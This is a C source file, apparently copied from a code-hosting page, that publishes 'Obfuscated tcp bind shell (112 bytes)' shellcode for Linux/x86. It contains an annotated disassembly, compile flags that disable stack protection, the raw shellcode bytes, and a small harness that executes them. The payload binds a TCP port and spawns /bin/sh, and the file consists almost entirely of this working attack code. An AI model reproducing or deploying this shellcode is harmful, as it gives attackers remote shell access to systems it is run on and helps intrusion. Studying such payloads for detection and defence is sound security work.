90 lines
No EOL
3.1 KiB
C
90 lines
No EOL
3.1 KiB
C
/*
|
|
|
|
Title : Obfuscated tcp bind shell (112 bytes)
|
|
Date : 3 July 2013
|
|
Author : Russell Willis <codinguy@gmail.com>
|
|
System : Linux/x86 (SMP Debian 3.2.41-2 i686)
|
|
|
|
To build:
|
|
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
|
|
|
|
00000000 D9EE fldz
|
|
00000002 9BD97424F4 fstenv [esp-0xc]
|
|
00000007 5D pop ebp
|
|
00000008 8D6D59 lea ebp,[ebp+0x59]
|
|
0000000B 31DB xor ebx,ebx
|
|
0000000D F7EB imul ebx
|
|
0000000F FEC3 inc bl
|
|
00000011 51 push ecx
|
|
00000012 6A06 push byte +0x6
|
|
00000014 6A01 push byte +0x1
|
|
00000016 6A02 push byte +0x2
|
|
00000018 FFD5 call ebp
|
|
0000001A 89C6 mov esi,eax
|
|
0000001C FEC3 inc bl
|
|
0000001E 52 push edx
|
|
0000001F 66687A69 push word 0x697a
|
|
00000023 6653 push bx
|
|
00000025 89E1 mov ecx,esp
|
|
00000027 6A10 push byte +0x10
|
|
00000029 51 push ecx
|
|
0000002A 56 push esi
|
|
0000002B FFD5 call ebp
|
|
0000002D B304 mov bl,0x4
|
|
0000002F 6A01 push byte +0x1
|
|
00000031 56 push esi
|
|
00000032 FFD5 call ebp
|
|
00000034 B305 mov bl,0x5
|
|
00000036 52 push edx
|
|
00000037 52 push edx
|
|
00000038 56 push esi
|
|
00000039 FFD5 call ebp
|
|
0000003B 89C3 mov ebx,eax
|
|
0000003D 31C9 xor ecx,ecx
|
|
0000003F B103 mov cl,0x3
|
|
00000041 FEC9 dec cl
|
|
00000043 B03F mov al,0x3f
|
|
00000045 CD80 int 0x80
|
|
00000047 75F8 jnz 0x41
|
|
00000049 31DB xor ebx,ebx
|
|
0000004B F7E3 mul ebx
|
|
0000004D 51 push ecx
|
|
0000004E EB13 jmp short 0x63
|
|
00000050 5E pop esi
|
|
00000051 87E6 xchg esp,esi
|
|
00000053 87DC xchg ebx,esp
|
|
00000055 B00B mov al,0xb
|
|
00000057 CD80 int 0x80
|
|
00000059 5F pop edi
|
|
0000005A 6A66 push byte +0x66
|
|
0000005C 58 pop eax
|
|
0000005D 89E1 mov ecx,esp
|
|
0000005F CD80 int 0x80
|
|
00000061 57 push edi
|
|
00000062 C3 ret
|
|
00000063 E8E8FFFFFF call dword 0x50
|
|
00000068 2F das
|
|
00000069 62696E bound ebp,[ecx+0x6e]
|
|
0000006C 2F das
|
|
0000006D 2F das
|
|
0000006E 7368 jnc 0xd8
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
|
|
unsigned char code[] = \
|
|
"\xd9\xee\x9b\xd9\x74\x24\xf4\x5d\x8d\x6d\x59\x31\xdb\xf7"
|
|
"\xeb\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\xff\xd5\x89\xc6"
|
|
"\xfe\xc3\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51"
|
|
"\x56\xff\xd5\xb3\x04\x6a\x01\x56\xff\xd5\xb3\x05\x52\x52"
|
|
"\x56\xff\xd5\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd"
|
|
"\x80\x75\xf8\x31\xdb\xf7\xe3\x51\xeb\x13\x5e\x87\xe6\x87"
|
|
"\xdc\xb0\x0b\xcd\x80\x5f\x6a\x66\x58\x89\xe1\xcd\x80\x57"
|
|
"\xc3\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68";
|
|
|
|
main()
|
|
{
|
|
printf("Shellcode Length: %d\n", sizeof(code)-1);
|
|
int (*ret)() = (int(*)())code;
|
|
ret();
|
|
} |